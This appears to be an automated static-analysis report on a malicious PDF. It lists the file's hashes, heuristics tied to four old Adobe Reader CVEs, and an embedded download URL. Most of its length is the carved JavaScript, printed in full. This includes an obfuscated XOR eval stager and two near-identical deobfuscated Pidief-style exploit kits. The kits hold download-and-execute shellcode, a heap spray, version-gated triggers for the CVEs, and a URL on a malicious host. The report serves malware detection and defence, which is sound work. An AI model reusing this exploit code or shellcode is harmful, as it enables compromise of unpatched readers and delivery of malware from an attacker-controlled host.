Malicious PDF — malware analysis report

Static analysis result for SHA-256 1ea988796e644cfc…

MALICIOUS

PDF

4.5 KB Authoring application: Vabameuaki First seen: 2026-05-10
MD5: 6f4f50a429a9de748897ef062074e8c3 SHA-1: 3f6b49876229d0061937fa72720c8bef9703b5a7 SHA-256: 1ea988796e644cfc2c20f4134f0de392a751bd330f6ea3de7f57bf3dca2a2c8b
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, identified by multiple heuristics including a 'Page-word XOR JavaScript eval stager'. This stager is designed to deobfuscate and execute JavaScript code. While the exact payload is obfuscated, the presence of this stager strongly suggests the document's purpose is to download and execute a second-stage payload. The SHA256 hash of the file is included as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://a5tr0bi0l09y.com//moSbCyjpK-l.php/ed91915736ac0bad3da47736fcc3e562?spl=pdf_2025 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xCA2 815 bytes
SHA-256: 1ec398366107a5fedd9bcf18a57f32d68d58e87986c8ad1c876f457b209e2152
Preview script
First 1,000 lines of the extracted script
var qX=String("getPa"+"geNth1OA8".substr(0,5)+"IsbWord".substr(3));function t(h,j){return h^j;};var jS=this;;var aR=new String("from"+"G0DChar".substr(3)+"CodeWqM2".substr(0,4));var p=String;var f=new String();var pY="unes"+"cape";var cV="subs"+"trDbgy".substr(0,2);var jSX=1;var n=91;var hS="getPa"+"YTRgeNum".substr(3)+"hOXWords".substr(3);var cX=String("char"+"Code1jzi".substr(0,4)+"At52Ml".substr(0,2));var nM=["p","","p","a"];oX=new String(nM[3]+nM[0]+nM[0]+nM[1]);var nO=["l","e","v","","a"];sX=new String(nO[1]+nO[2]+nO[4]+nO[0]+nO[3]);var l=4618-4618;;var z=new String("U9j%".substr(3));var v=73-71;var x=jS[sX];var hC=jS[hS](jSX);var oX=jS[oX];;var oR=jS[pY];for(var d=l;d<hC;d++){jW=jS[qX](jSX,d);var uN=jW[cV](jW.length-v,v);var nC=z+uN;var mT=oR(nC);var hI=mT[cX](l);var cD=t(hI,n);f+=p[aR](cD);}x(f);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3423 bytes
SHA-256: 043a2445de16c4305dda051601b0cfabd5201330f8d008fadf024bfcc840c9a8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://a5tr0bi0l09y.com//moSbCyjpK-l.php/ed91915736ac0bad3da47736fcc3e562?spl=pdf_2025 */
var _u="http://a5tr0bi0l09y.com//moSbCyjpK-l.php/ed91915736ac0bad3da47736fcc3e562?spl=pdf_2025";

	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
   
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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legacy_pdfkit_stage_001.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3414 bytes
SHA-256: 87b1247d4dda38bcd142f37ef94ad5febf8863caf8a081d0d817dddf971b95ea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://a5tr0bi0l09y.com//moSbCyjpK-l.php/ed91915736ac0bad3da47736fcc3e562?spl=pdf_2025 */
var _u="http://a5tr0bi0l09y.com//moSbCyjpK-l.php/ed91915736ac0bad3da47736fcc3e562?spl=pdf_2025";

	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
   
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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